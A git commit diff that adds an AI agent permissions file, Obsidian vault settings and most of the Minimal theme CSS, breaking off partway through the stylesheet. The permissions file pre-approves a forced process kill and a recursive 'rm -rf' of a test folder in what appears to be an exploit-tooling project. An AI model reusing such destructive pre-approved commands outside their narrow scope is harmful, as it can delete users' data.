commit 9b89f4cb8e96c40bf21f59615db8faed15320da1 Author: windows Date: Sat Jul 18 21:37:15 2026 +0300 v0.1 - initial commit diff --git a/.claude/settings.local.json b/.claude/settings.local.json new file mode 100644 index 0000000..d25b4da --- /dev/null +++ b/.claude/settings.local.json @@ -0,0 +1,8 @@ +{ + "permissions": { + "allow": [ + "Bash(taskkill //F //IM heap_segment_target.exe)", + "Bash(rm -rf \"C:/tools/go_pwner/examples/_segtest\")" + ] + } +} diff --git a/.obsidian/app.json b/.obsidian/app.json new file mode 100644 index 0000000..4046144 --- /dev/null +++ b/.obsidian/app.json @@ -0,0 +1,4 @@ +{ + "spellcheck": false, + "readableLineLength": false +} \ No newline at end of file diff --git a/.obsidian/appearance.json b/.obsidian/appearance.json new file mode 100644 index 0000000..d73bcda --- /dev/null +++ b/.obsidian/appearance.json @@ -0,0 +1,4 @@ +{ + "cssTheme": "Minimal", + "theme": "moonstone" +} \ No newline at end of file diff --git a/.obsidian/core-plugins.json b/.obsidian/core-plugins.json new file mode 100644 index 0000000..0faa60d --- /dev/null +++ b/.obsidian/core-plugins.json @@ -0,0 +1,33 @@ +{ + "file-explorer": true, + "global-search": true, + "switcher": true, + "graph": true, + "backlink": true, + "canvas": true, + "outgoing-link": true, + "tag-pane": true, + "footnotes": false, + "properties": false, + "page-preview": true, + "daily-notes": true, + "templates": true, + "note-composer": true, + "command-palette": true, + "slash-command": false, + "editor-status": true, + "bookmarks": true, + "markdown-importer": false, + "zk-prefixer": false, + "random-note": false, + "outline": true, + "word-count": true, + "slides": false, + "audio-recorder": false, + "workspaces": false, + "file-recovery": true, + "publish": false, + "sync": true, + "bases": true, + "webviewer": false +} \ No newline at end of file diff --git a/.obsidian/themes/Minimal/manifest.json b/.obsidian/themes/Minimal/manifest.json new file mode 100644 index 0000000..e725aa5 --- /dev/null +++ b/.obsidian/themes/Minimal/manifest.json @@ -0,0 +1,8 @@ +{ + "name": "Minimal", + "version": "8.2.1", + "minAppVersion": "1.9.0", + "author": "@kepano", + "authorUrl": "https://twitter.com/kepano", + "fundingUrl": "https://www.buymeacoffee.com/kepano" +} diff --git a/.obsidian/themes/Minimal/theme.css b/.obsidian/themes/Minimal/theme.css new file mode 100644 index 0000000..14a3812 --- /dev/null +++ b/.obsidian/themes/Minimal/theme.css @@ -0,0 +1,8793 @@ +/* --------------------------------------------------------------------------- + +Minimal Theme by @kepano + +User interface replacement for Obsidian. + +Designed to be used with the Minimal Theme Settings +plugin and the Hider plugin. + +Sponsor my work: +https://www.buymeacoffee.com/kepano + +Readme: +https://github.com/kepano/obsidian-minimal + +----------------------------------------------------------------------------- + +MIT License + +Copyright (c) 2020-2024 Steph Ango (@kepano) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + +*/ + +@charset "UTF-8"; +/* Variables */ +body { + --font-editor-theme:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Inter,Ubuntu,sans-serif; + --font-editor:var(--font-editor-override), var(--font-text-override), var(--font-editor-theme); + /* Bases */ + --bases-table-column-border-width: 0px; + --bases-header-border-width: 0; + /* Blockquotes */ + --blockquote-style:normal; + --blockquote-color: var(--text-muted); + --blockquote-border-thickness: 1px; + --blockquote-border-color: var(--quote-opening-modifier); + /* Embeds */ + --embed-block-shadow-hover: none; + /* Font sizes */ + --font-ui-smaller: 11px; + /* Font weights */ + --normal-weight: 400; + /* Headings */ + --inline-title-margin-bottom: 1rem; + --h1-size: 1.125em; + --h2-size: 1.05em; + --h3-size: 1em; + --h4-size: 0.90em; + --h5-size: 0.85em; + --h6-size: 0.85em; + --h1-weight: 600; + --h2-weight: 600; + --h3-weight: 500; + --h4-weight: 500; + --h5-weight: 500; + --h6-weight: 400; + --h1-variant: normal; + --h2-variant: normal; + --h3-variant: normal; + --h4-variant: normal; + --h5-variant: small-caps; + --h6-variant: small-caps; + --h1-style: normal; + --h2-style: normal; + --h3-style: normal; + --h4-style: normal; + --h5-style: normal; + --h6-style: normal; + /* Line widths */ + --line-width: 40rem; + --line-height: 1.5; + --line-height-normal: var(--line-height); + --max-width: 88%; + --max-col-width: 18em; + /* Icons */ + --icon-muted: 0.5; + /* Quotes and transclusions */ + --nested-padding:1.1em; + /* Lists */ + --folding-offset: 32px; + --list-edit-offset: 0.5em; + --list-indent: 2em; + --list-spacing: 0.075em; + --input-height: 32px; + --header-height: 40px; + /* Metadata */ + --metadata-label-width-multiplier: 9; + --metadata-label-width: calc(var(--font-adaptive-small) * var(--metadata-label-width-multiplier)); + --metadata-label-font-size: var(--font-adaptive-small); + --metadata-input-font-size: var(--font-adaptive-small); + /* Mobile sidebars */ + --mobile-left-sidebar-width: 280pt; + --mobile-right-sidebar-width: 240pt; + --top-left-padding-y:0px; + /* Image opacity in dark mode */ + --image-muted:0.7; + --image-radius: 4px; + /* Spacing */ + --heading-spacing: 2em; + --p-spacing: 1.75rem; + --border-width: 1px; + --table-border-width: var(--border-width); + --table-selection: var(--text-selection); + --table-selection-border-color: var(--text-accent); + --table-selection-border-width: 0px; + --table-selection-border-radius: 0px; + --table-drag-handle-background-active: var(--text-selection); + --table-drag-handle-color-active: var(--text-accent); + --table-add-button-border-width: 0px; + /* Readable line length off */ + --file-margins-y: var(--size-4-2); +} + +.mod-macos { + --top-left-padding-y:24px; +} + +.is-phone { + /* Metadata */ + --metadata-label-font-size: var(--font-adaptive-smaller); + --metadata-input-font-size: var(--font-adaptive-smaller); +} + +@media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min-device-pixel-ratio: 2) { + .is-phone { + --border-width: 0.75px; + } +} +/* Dynamic colors + +Most colors are driven from the following values, meaning that +the backgrounds, borders, and various shades are +automatically generated. + +- Base color is used for the backgrounds, text and borders. +- Accent color is used for links and some interactive elements. + +The colors use HSL (hue, saturation, lightness) + +- Hue (0-360 degrees):0 is red, 120 is green, and 240 is blue +- Saturation (0-100%):0% is desaturated, 100% is full saturation +- Lightness (0-100%):0% is black, 100% is white + +*/ +body { + --base-h: 0; /* Base hue */ + --base-s: 0%; /* Base saturation */ + --base-l: 96%; /* Base lightness - 100 is white */ + --accent-h: 201; /* Accent hue */ + --accent-s: 17%; /* Accent saturation */ + --accent-l: 50%; /* Accent lightness */ +} + +.theme-dark, +.theme-light { + --color-red-rgb: 208,66,85; + --color-orange-rgb: 213,118,63; + --color-yellow-rgb: 229,181,103; + --color-green-rgb: 168,195,115; + --color-cyan-rgb: 115,187,178; + --color-blue-rgb: 108,153,187; + --color-purple-rgb: 158,134,200; + --color-pink-rgb: 176,82,121; + --color-red: #d04255; + --color-orange: #d5763f; + --color-yellow: #e5b567; + --color-green: #a8c373; + --color-cyan: #73bbb2; + --color-blue: #6c99bb; + --color-purple: #9e86c8; + --color-pink: #b05279; +} + +.theme-light, +.theme-light.minimal-default-light, +body .excalidraw { + --bg1:white; + --bg2: + hsl( + var(--base-h), + var(--base-s), + var(--base-l) + ); + --bg3: + hsla( + var(--base-h), + var(--base-s), + calc(var(--base-l) - 50%), + 0.12 + ); + --ui1: + hsl( + var(--base-h), + var(--base-s), + calc(var(--base-l) - 6%) + ); + --ui2: + hsl( + var(--base-h), + var(--base-s), + calc(var(--base-l) - 12%) + ); + --ui3: + hsl( + var(--base-h), + var(--base-s), + calc(var(--base-l) - 20%) + ); + --tx1: + hsl( + var(--base-h), + var(--base-s), + calc(var(--base-l) - 90%) + ); + --tx2: + hsl( + var(--base-h), + calc(var(--base-s) - 20%), + calc(var(--base-l) - 50%) + ); + --tx3: + hsl( + var(--base-h), + calc(var(--base-s) - 10%), + calc(var(--base-l) - 25%) + ); + --tx4: + hsl( + var(--base-h), + calc(var(--base-s) - 10%), + calc(var(--base-l) - 60%) + ); + --ax1: + hsl( + var(--accent-h), + var(--accent-s), + var(--accent-l) + ); + --ax2: + hsl( + var(--accent-h), + var(--accent-s), + calc(var(--accent-l) - 8%) + ); + --ax3: + hsl( + var(--accent-h), + var(--accent-s), + calc(var(--accent-l) + 6%) + ); + --hl1: + hsla( + var(--accent-h), + 50%, + calc(var(--base-l) - 20%), + 30% + ); + --hl2:rgba(255, 225, 0, 0.5); + --sp1: white; +} + +.theme-light.minimal-light-contrast .titlebar, +.theme-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-dark, +.theme-dark.minimal-default-dark, +.excalidraw.theme--dark { + --accent-l:60%; + --base-l:15%; + --bg1: + hsl( + var(--base-h), + var(--base-s), + var(--base-l) + ); + --bg2: + hsl( + var(--base-h), + var(--base-s), + calc(var(--base-l) - 2%) + ); + --bg3: + hsla( + var(--base-h), + var(--base-s), + calc(var(--base-l) + 40%), + 0.12 + ); + --ui1: + hsl( + var(--base-h), + var(--base-s), + calc(var(--base-l) + 6%) + ); + --ui2: + hsl( + var(--base-h), + var(--base-s), + calc(var(--base-l) + 12%) + ); + --ui3: + hsl( + var(--base-h), + var(--base-s), + calc(var(--base-l) + 20%) + ); + --tx1: + hsl( + var(--base-h), + calc(var(--base-s) - 10%), + calc(var(--base-l) + 67%) + ); + --tx2: + hsl( + var(--base-h), + calc(var(--base-s) - 20%), + calc(var(--base-l) + 45%) + ); + --tx3: + hsl( + var(--base-h), + calc(var(--base-s) - 10%), + calc(var(--base-l) + 20%) + ); + --tx4: + hsl( + var(--base-h), + calc(var(--base-s) - 10%), + calc(var(--base-l) + 50%) + ); + --ax1: + hsl( + var(--accent-h), + var(--accent-s), + var(--accent-l) + ); + --ax2: + hsl( + var(--accent-h), + var(--accent-s), + calc(var(--accent-l) + 8%) + ); + --ax3: + hsl( + var(--accent-h), + var(--accent-s), + calc(var(--accent-l) - 5%) + ); + --hl1: + hsla( + var(--accent-h), + 50%, + 40%, + 30% + ); + --hl2:rgba(255, 177, 80, 0.3); + --sp1: white; +} + +.theme-light.minimal-light-white { + --background-primary: white; + --background-secondary: white; + --background-secondary-alt: white; + --ribbon-background: white; + --titlebar-background: white; + --mobile-sidebar-background: white; + --bg1: white; +} + +.theme-dark.minimal-dark-black { + --base-d:0%; + --titlebar-background: black; + --background-primary: black; + --background-secondary: black; + --background-secondary-alt: black; + --ribbon-background: black; + --background-modifier-hover: + hsl( + var(--base-h), + var(--base-s), + calc(var(--base-d) + 10%)) ; + --tx1:hsl( + var(--base-h), + var(--base-s), + calc(var(--base-d) + 75%) + ); + --tx2:hsl( + var(--base-h), + var(--base-s), + calc(var(--base-d) + 50%) + ); + --tx3:hsl( + var(--base-h), + var(--base-s), + calc(var(--base-d) + 25%) + ); + --ui1:hsl( + var(--base-h), + var(--base-s), + calc(var(--base-d) + 12%) + ); + --ui2:hsl( + var(--base-h), + var(--base-s), + calc(var(--base-d) + 20%) + ); + --ui3:hsl( + var(--base-h), + var(--base-s), + calc(var(--base-d) + 30%) + ); +} + +/* Map colors to semantic Obsidian names */ +.theme-light { + --mono100: black; + --mono0: white; +} + +.theme-dark { + --mono100: white; + --mono0: black; +} + +.theme-light.minimal-light-contrast .titlebar, +.theme-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-light-contrast.is-mobile .workspace-drawer.mod-left, +.theme-dark, +.theme-light { + --background-modifier-accent: var(--ax3); + --background-modifier-border-focus: var(--ui3); + --background-modifier-border-hover: var(--ui2); + --background-modifier-border: var(--ui1); + --mobile-sidebar-background: var(--bg1); + --background-modifier-form-field-highlighted: var(--bg1); + --background-modifier-form-field: var(--bg1); + --background-modifier-success: var(--color-green); + --background-modifier-hover: var(--bg3); + --background-modifier-active-hover: var(--bg3); + --background-primary: var(--bg1); + --background-primary-alt: var(--bg2); + --background-secondary: var(--bg2); + --background-secondary-alt: var(--bg1); + --background-table-rows: var(--bg2); + --checkbox-color: var(--ax3); + --code-normal: var(--tx1); + --divider-color: var(--ui1); + --frame-divider-color: var(--ui1); + --icon-color-active: var(--tx1); + --icon-color-focused: var(--tx1); + --icon-color-hover: var(--tx2); + --icon-color: var(--tx2); + --icon-hex: var(--mono0); + --interactive-normal: var(--ui1); + --interactive-accent-hover: var(--ax1); + --interactive-accent: var(--ax3); + --interactive-hover: var(--ui1); + --list-marker-color: var(--tx3); + --nav-item-background-active: var(--bg3); + --nav-item-background-hover: var(--bg3); + --nav-item-color: var(--tx2); + --nav-item-color-active: var(--tx1); + --nav-item-color-hover: var(--tx1); + --nav-item-color-selected: var(--tx1); + --nav-collapse-icon-color: var(--tx2); + --nav-collapse-icon-color-collapsed: var(--tx2); + --nav-indentation-guide-color: var(--ui1); + --prompt-border-color: var(--ui3); + --quote-opening-modifier: var(--ui2); + --ribbon-background: var(--bg2); + --scrollbar-active-thumb-bg: var(--ui3); + --scrollbar-bg: transparent; + --scrollbar-thumb-bg: var(--ui1); + --search-result-background: var(--bg1); + --tab-text-color-focused-active: var(--tx1); + --tab-outline-color: var(--ui1); + --text-accent-hover: var(--ax2); + --text-accent: var(--ax1); + --text-blockquote: var(--tx2); + --text-bold: var(--tx1); + --text-code: var(--tx4); + --text-error: var(--color-red); + --text-faint: var(--tx3); + --text-highlight-bg: var(--hl2); + --text-italic: var(--tx1); + --text-muted: var(--tx2); + --text-normal: var(--tx1); + --text-on-accent: var(--sp1); + --text-selection: var(--hl1); + --text-formatting: var(--tx3); + --title-color-inactive: var(--tx2); + --title-color: var(--tx1); + --titlebar-background: var(--bg2); + --titlebar-background-focused: var(--bg2); + --titlebar-text-color-focused: var(--tx1); + --vault-profile-color: var(--tx1); + --vault-profile-color-hover: var(--tx1); + --workspace-background-translucent: hsla(var(--base-h),var(--base-s), var(--base-l), 0.7); +} + +.theme-light.minimal-light-contrast.is-mobile .workspace-drawer.mod-left { + --raised-background: var(--ui1); + --raised-shadow: none; + --raised-mask-border-width: 0px; +} + +.theme-dark .view-actions, +.theme-light .view-actions { + --icon-color-active: var(--ax1); +} + +.theme-light.minimal-light-contrast { + --workspace-background-translucent: rgba(0,0,0,0.6); +} + +.theme-light.minimal-light-contrast .theme-dark { + --tab-container-background: var(--bg2); + --ribbon-background-collapsed: var(--bg2); +} + +.theme-light { + --interactive-accent-rgb:220, 220, 220; + --active-line-bg: rgba(0,0,0,0.035); + --background-modifier-cover:hsla(var(--base-h),calc(var(--base-s) - 70%),calc(var(--base-l) - 20%),0.5); + --text-highlight-bg-active: rgba(0, 0, 0, 0.1); + /* Shadows */ + --shadow-color: rgba(0, 0, 0, 0.1); + --btn-shadow-color: rgba(0, 0, 0, 0.05); +} + +.theme-dark { + --interactive-normal: var(--bg3); + --interactive-accent-rgb: 66, 66, 66; + --active-line-bg: rgba(255,255,255,0.04); + --background-modifier-cover: hsla(var(--base-h),var(--base-s), calc(var(--base-l) - 12%), 0.5); + --text-highlight-bg-active: rgba(255, 255, 255, 0.1); + /* Shadows */ + --background-modifier-box-shadow: rgba(0, 0, 0, 0.3); + --shadow-color: rgba(0, 0, 0, 0.3); + --btn-shadow-color: rgba(0, 0, 0, 0.2); + --modal-border-color: var(--ui2); +} + +.theme-light.minimal-light-white { + --background-table-rows: var(--bg2); + --interactive-normal: var(--ui1); + --setting-items-background: transparent; + --setting-items-border-width: 1px; +} + +.theme-light.minimal-light-tonal { + --background-secondary: var(--bg1); + --background-primary-alt: var(--bg3); + --background-table-rows: var(--bg3); + --setting-items-background: var(--bg1); + --setting-items-border-width: 1px; +} +.theme-light.minimal-light-tonal.is-mobile { + --background-modifier-form-field: var(--bg3); + --interactive-normal: var(--bg3); +} + +.theme-dark.minimal-dark-tonal { + --ribbon-background: var(--bg1); + --background-secondary: var(--bg1); + --background-table-rows: var(--bg3); + --setting-items-background: var(--bg1); + --setting-items-border-width: 1px; +} + +.theme-dark.minimal-dark-black { + --background-primary-alt: var(--bg3); + --background-table-rows: var(--bg3); + --setting-items-background: black; + --setting-items-border-width: 1px; + --modal-border: var(--ui2); + --active-line-bg: rgba(255,255,255,0.085); + --background-modifier-form-field: var(--bg3); + --background-modifier-cover:hsla(var(--base-h),var(--base-s),calc(var(--base-d) + 8%),0.7); + --background-modifier-box-shadow: rgba(0, 0, 0, 1); +} + +/* Desktop font sizes */ +body { + --font-adaptive-normal:var(--font-text-size,var(--editor-font-size)); + --font-adaptive-small: calc(var(--font-ui-small) * 1.07); + --font-adaptive-smaller: var(--font-ui-small); + --font-adaptive-smallest: var(--font-ui-smaller); + --line-width-wide:calc(var(--line-width) + 12.5%); + --font-code:calc(var(--font-adaptive-normal) * 0.9); + --table-text-size:calc(var(--font-adaptive-normal) * 0.875); + --bases-table-font-size:calc(var(--font-adaptive-normal) * 0.875); +} + +/* Obsidian */ +/* Obsidian app */ +.bases-view { + --bases-table-font-size: var(--table-text-size); +} + +.query-toolbar-menu .combobox-button { + background-color: transparent; +} + +.block-language-base .bases-header .bases-toolbar, +.bases-embed .bases-header .bases-toolbar { + padding-bottom: 2px; + opacity: var(--bases-toolbar-opacity); + transition: 0.15s 0.15s opacity; +} +.block-language-base .bases-header .bases-toolbar:hover, +.bases-embed .bases-header .bases-toolbar:hover { + opacity: 1; + transition: 0s opacity; +} + +.base-plain .bases-header { + display: none; +} + +.bases-table-header-icon { + display: var(--bases-table-header-icon-display); +} + +/* Editor mode (CodeMirror 6 Live Preview) */ +/* Fix strange Obsidian ghost textearea bug on right click */ +.CodeMirror-wrap > div > textarea { + opacity: 0; +} + +.cm-editor .cm-content { + padding-top: 0.5em; +} + +.markdown-source-view { + color: var(--text-normal); +} + +.markdown-source-view.mod-cm6 .cm-sizer { + display: block; +} + +.markdown-source-view.mod-cm6 .cm-scroller { + padding-inline-end: 0; + padding-inline-start: 0; +} + +.cm-s-obsidian .cm-line.HyperMD-header { + padding-top: calc(var(--p-spacing) / 2); +} + +.markdown-rendered .mod-header + div > * { + margin-block-start: 0; +} + +/* Gutters */ +body :not(.canvas-node) .markdown-source-view.mod-cm6 .cm-gutters { + position: absolute !important; + z-index: 0; + margin-inline-end: 0; +} +body :not(.canvas-node) .markdown-source-view.mod-cm6 .cm-gutters .cm-gutter:before { + content: ""; + height: 100%; + top: -100%; + width: 100%; + position: absolute; + z-index: 1; + background-color: var(--gutter-background); + min-width: var(--folding-offset); +} + +body :not(.canvas-node) .markdown-source-view.mod-cm6.is-rtl .cm-gutters { + right: 0; +} + +body { + --line-number-color: var(--text-faint); + --line-number-color-active: var(--text-muted); +} + +.empty-state-title { + display: none; +} + +.markdown-source-view.mod-cm6 .cm-gutters { + color: var(--line-number-color) !important; +} + +.markdown-source-view.mod-cm6 .cm-editor .cm-gutterElement.cm-active .cm-heading-marker, +.markdown-source-view.mod-cm6 .cm-editor .cm-lineNumbers .cm-gutterElement.cm-active { + color: var(--line-number-color-active); +} + +.cm-editor .cm-lineNumbers { + background-color: var(--gutter-background); +} + +.cm-editor .cm-lineNumbers .cm-gutterElement { + min-width: var(--folding-offset); + padding-inline-end: 0.5em; +} + +.is-rtl .cm-editor .cm-lineNumbers .cm-gutterElement { + text-align: left; +} + +/* Line numbers */ +@media (max-width: 400pt) { + .cm-editor .cm-lineNumbers .cm-gutterElement { + padding-inline-end: 4px; + padding-inline-start: 8px; + } +} +.cm-editor .cm-lineNumbers .cm-gutterElement.cm-active, +.cm-editor .cm-gutterElement.cm-active .cm-heading-marker { + color: var(--text-muted); +} + +/* Code execution blocks, e.g. Dataview */ +.markdown-source-view.mod-cm6 .edit-block-button { + color: var(--text-faint); + background-color: var(--background-primary); + top: 4px; + opacity: 0; + transition: opacity 200ms; +} + +.markdown-source-view.mod-cm6.is-live-preview.is-readable-line-width .cm-embed-block > .edit-block-button { + width: 30px !important; + padding-inline-start: 7px !important; +} + +.is-live-preview:not(.is-readable-line-width) .cm-embed-block > .edit-block-button { + padding-inline-start: 0px !important; + margin-inline-start: 0 !important; + padding: 4px; +} + +.markdown-source-view.mod-cm6 .edit-block-button:hover { + background-color: var(--background-primary); + color: var(--text-muted); +} + +.markdown-source-view.mod-cm6 .edit-block-button svg { + margin: 0 !important; + opacity: 1; +} + +.markdown-source-view.mod-cm6 .edit-block-button:hover svg { + opacity: 1; +} + +.markdown-source-view.mod-cm6 .cm-embed-block { + padding: 0; + border: 0; + border-radius: 0; +} + +.markdown-source-view.mod-cm6 .cm-embed-block:hover { + border: 0; +} + +.metadata-container { + --input-height: calc(var(--font-adaptive-small) * 2.2); +} + +body.metadata-heading-off .metadata-properties-heading { + display: none; +} + +.metadata-add-property-off .mod-root .metadata-add-button { + display: none; +} + +.metadata-dividers { + --metadata-divider-width: 1px; + --metadata-gap: 0px; +} + +.metadata-icons-off .workspace-leaf-content[data-type=all-properties] .tree-item-inner { + margin-inline-start: -16px; +} +.metadata-icons-off .workspace-leaf-content[data-type=all-properties] .tree-item-icon { + display: none; +} +.metadata-icons-off .metadata-property-icon { + display: none; +} + +/* Preview mode */ +figure { + margin-inline-start: 0; + margin-inline-end: 0; +} + +.markdown-preview-view .mod-highlighted { + transition: background-color 0.3s ease; + background-color: var(--text-selection); + color: inherit; +} + +.inline-title { + padding-top: 16px; +} + +/* Remove ribbon border on Mac when frameless */ +.mod-macos.hider-frameless .workspace-ribbon { + border: none; +} + +/* --------------- */ +/* App ribbon moved to the bottom edge */ +.is-tablet.hider-ribbon { + --ribbon-width: 0px; +} +.is-tablet.hider-ribbon .side-dock-ribbon { + display: none; +} + +.hider-ribbon .workspace-ribbon { + padding: 0; +} + +:root { + --hider-ribbon-display: none; + --ribbon-animation-duration: 0.1s; +} + +.ribbon-bottom-left-hover-vertical:not(.is-mobile), +.ribbon-bottom-left-hover:not(.is-mobile) { + --hider-ribbon-display: flex; +} + +body.ribbon-vertical-expand:not(.is-mobile) { + --ribbon-width: 0px; +} +body.ribbon-vertical-expand:not(.is-mobile) .workspace-ribbon.mod-left { + width: 10px; + flex-basis: 10px; + opacity: 0; + position: fixed; + height: 100%; + top: 0; + bottom: 0; + left: 0; + z-index: 10; + transition: all var(--ribbon-animation-duration) linear 0.6s; +} +body.ribbon-vertical-expand:not(.is-mobile) .workspace-ribbon.mod-left .side-dock-actions { + transition: opacity var(--ribbon-animation-duration) linear 0.3s; +} +body.ribbon-vertical-expand:not(.is-mobile) .workspace-ribbon.mod-left:hover { + width: 44px; + opacity: 1; + flex-basis: 44px; + transition: opacity var(--ribbon-animation-duration) linear 0.1s; +} +body.ribbon-vertical-expand:not(.is-mobile) .workspace-ribbon.mod-left:hover .side-dock-actions { + opacity: 1; + transition: opacity calc(var(--ribbon-animation-duration) * 2) linear 0.2s; +} +body.ribbon-vertical-expand:not(.is-mobile).labeled-nav .workspace-ribbon.mod-left ~ .mod-left-split .workspace-tab-header-container { + margin-left: 0; + transition: all var(--ribbon-animation-duration) linear 0.6s; +} +body.ribbon-vertical-expand:not(.is-mobile).labeled-nav .workspace-ribbon.mod-left:hover ~ .mod-left-split .workspace-tab-header-container { + margin-left: 44px; + transition: all var(--ribbon-animation-duration) linear; +} +body.ribbon-vertical-expand:not(.is-mobile) .workspace-ribbon.mod-left ~ .mod-left-split .workspace-tab-container { + padding-left: 0px; + transition: all var(--ribbon-animation-duration) linear 0.6s; +} +body.ribbon-vertical-expand:not(.is-mobile) .workspace-ribbon.mod-left ~ .mod-left-split .workspace-sidedock-vault-profile { + transition: all var(--ribbon-animation-duration) linear 0.6s; +} +body.ribbon-vertical-expand:not(.is-mobile) .workspace-ribbon.mod-left:hover ~ .mod-left-split .workspace-tab-container { + padding-left: 44px; + transition: all var(--ribbon-animation-duration) linear; +} +body.ribbon-vertical-expand:not(.is-mobile) .workspace-ribbon.mod-left:hover ~ .mod-left-split .workspace-sidedock-vault-profile { + padding-left: 52px; + transition: all var(--ribbon-animation-duration) linear; +} + +.hider-ribbon .workspace-ribbon.mod-left:before, +.ribbon-bottom-left-hover-vertical .workspace-ribbon.mod-left:before, +.ribbon-bottom-left-hover .workspace-ribbon.mod-left:before { + opacity: 0; +} +.hider-ribbon .workspace-ribbon-collapse-btn, +.ribbon-bottom-left-hover-vertical .workspace-ribbon-collapse-btn, +.ribbon-bottom-left-hover .workspace-ribbon-collapse-btn { + display: none; +} +.hider-ribbon .workspace-ribbon.mod-right, +.ribbon-bottom-left-hover-vertical .workspace-ribbon.mod-right, +.ribbon-bottom-left-hover .workspace-ribbon.mod-right { + pointer-events: none; +} +.hider-ribbon .workspace-ribbon.mod-left, +.ribbon-bottom-left-hover-vertical .workspace-ribbon.mod-left, +.ribbon-bottom-left-hover .workspace-ribbon.mod-left { + overflow: visible; + border-top: var(--border-width) solid var(--background-modifier-border) !important; + border-right: var(--border-width) solid var(--background-modifier-border) !important; + border-top-right-radius: var(--radius-m); + padding: 0; + position: absolute; + margin: 0; + width: auto; + height: 44px; + flex-basis: 0; + bottom: 0; + top: auto; + background: var(--background-secondary); + display: var(--hider-ribbon-display) !important; + flex-direction: row; + z-index: 17; + opacity: 0; + transition: opacity calc(var(--ribbon-animation-duration) * 2) ease-in-out; + filter: drop-shadow(2px 10px 30px rgba(0, 0, 0, 0.2)); + gap: 0; +} +.hider-ribbon .side-dock-actions, +.hider-ribbon .side-dock-settings, +.ribbon-bottom-left-hover-vertical .side-dock-actions, +.ribbon-bottom-left-hover-vertical .side-dock-settings, +.ribbon-bottom-left-hover .side-dock-actions, +.ribbon-bottom-left-hover .side-dock-settings { + flex-direction: row; + display: var(--hider-ribbon-display); + background: transparent; + margin: 0; + position: relative; + gap: var(--size-2-2); +} +.hider-ribbon .side-dock-actions, +.ribbon-bottom-left-hover-vertical .side-dock-actions, +.ribbon-bottom-left-hover .side-dock-actions { + padding: 6px 6px 6px 8px; +} +.hider-ribbon .side-dock-settings:empty, +.ribbon-bottom-left-hover-vertical .side-dock-settings:empty, +.ribbon-bottom-left-hover .side-dock-settings:empty { + display: none; +} +.hider-ribbon .workspace-ribbon.mod-left .side-dock-ribbon-action, +.ribbon-bottom-left-hover-vertical .workspace-ribbon.mod-left .side-dock-ribbon-action, +.ribbon-bottom-left-hover .workspace-ribbon.mod-left .side-dock-ribbon-action { + display: var(--hider-ribbon-display); +} +.hider-ribbon .workspace-ribbon.mod-left:hover, +.ribbon-bottom-left-hover-vertical .workspace-ribbon.mod-left:hover, +.ribbon-bottom-left-hover .workspace-ribbon.mod-left:hover { + opacity: 1; + transition: opacity 0.25s ease-in-out; +} +.hider-ribbon .workspace-ribbon.mod-left .workspace-ribbon-collapse-btn, +.ribbon-bottom-left-hover-vertical .workspace-ribbon.mod-left .workspace-ribbon-collapse-btn, +.ribbon-bottom-left-hover .workspace-ribbon.mod-left .workspace-ribbon-collapse-btn { + opacity: 0; +} +.hider-ribbon .workspace-split.mod-left-split, +.ribbon-bottom-left-hover-vertical .workspace-split.mod-left-split, +.ribbon-bottom-left-hover .workspace-split.mod-left-split { + margin: 0; +} +.hider-ribbon .workspace-leaf-content .item-list, +.ribbon-bottom-left-hover-vertical .workspace-leaf-content .item-list, +.ribbon-bottom-left-hover .workspace-leaf-content .item-list { + padding-bottom: 40px; +} + +.ribbon-bottom-left-hover-vertical .workspace-ribbon.mod-left { + height: auto; +} +.ribbon-bottom-left-hover-vertical .side-dock-actions { + flex-direction: column; + padding: 8px 6px; +} + +/* Status bar */ +.minimal-status-off .status-bar { + --status-bar-position: static; + --status-bar-radius: 0; + --status-bar-border-width: 1px 0 0 0; + --status-bar-background: var(--background-secondary); + --status-bar-border-color: var(--ui1); +} + +body:not(.minimal-status-off) .status-bar { + background-color: var(--background-primary); + --status-bar-border-width: 0; +} + +.status-bar { + transition: color 200ms linear; + color: var(--text-faint); + font-size: var(--font-adaptive-smallest); +} +.status-bar .sync-status-icon.mod-working, +.status-bar .sync-status-icon.mod-success { + color: var(--text-faint); +} +.status-bar:hover .sync-status-icon.mod-working, .status-bar:hover .sync-status-icon.mod-success, .status-bar:hover { + color: var(--text-muted); + transition: color 200ms linear; +} +.status-bar .plugin-sync:hover .sync-status-icon.mod-working, +.status-bar .plugin-sync:hover .sync-status-icon.mod-success { + color: var(--text-normal); +} +.status-bar .status-bar-item { + cursor: var(--cursor) !important; +} +.status-bar .status-bar-item.plugin-editor-status:hover, .status-bar .status-bar-item.plugin-sync:hover, .status-bar .status-bar-item.cMenu-statusbar-button:hover, .status-bar .status-bar-item.mod-clickable:hover { + text-align: center; + background-color: var(--background-modifier-hover) !important; +} + +.tab-stack-top-flipped { + --tab-stacked-text-transform: rotate(180deg); + --tab-stacked-text-align: right; +} + +.tab-stack-center { + --tab-stacked-text-align: center; +} + +.tab-stack-center-flipped { + --tab-stacked-text-transform: rotate(180deg); + --tab-stacked-text-align: center; +} + +.tab-stack-bottom { + --tab-stacked-text-transform: rotate(180deg); +} + +.tab-stack-bottom-flipped { + --tab-stacked-text-align: right; +} + +.workspace .mod-root .workspace-tabs.mod-stacked .workspace-tab-container .workspace-tab-header-inner { + flex-direction: var(--tab-stacked-spine-order); +} + +/* Title Bar */ +.view-header-title-parent, +.view-header-title { + text-overflow: ellipsis; +} + +.view-header-title-container:not(.mod-at-end):after { + display: none; +} + +/* Alignment */ 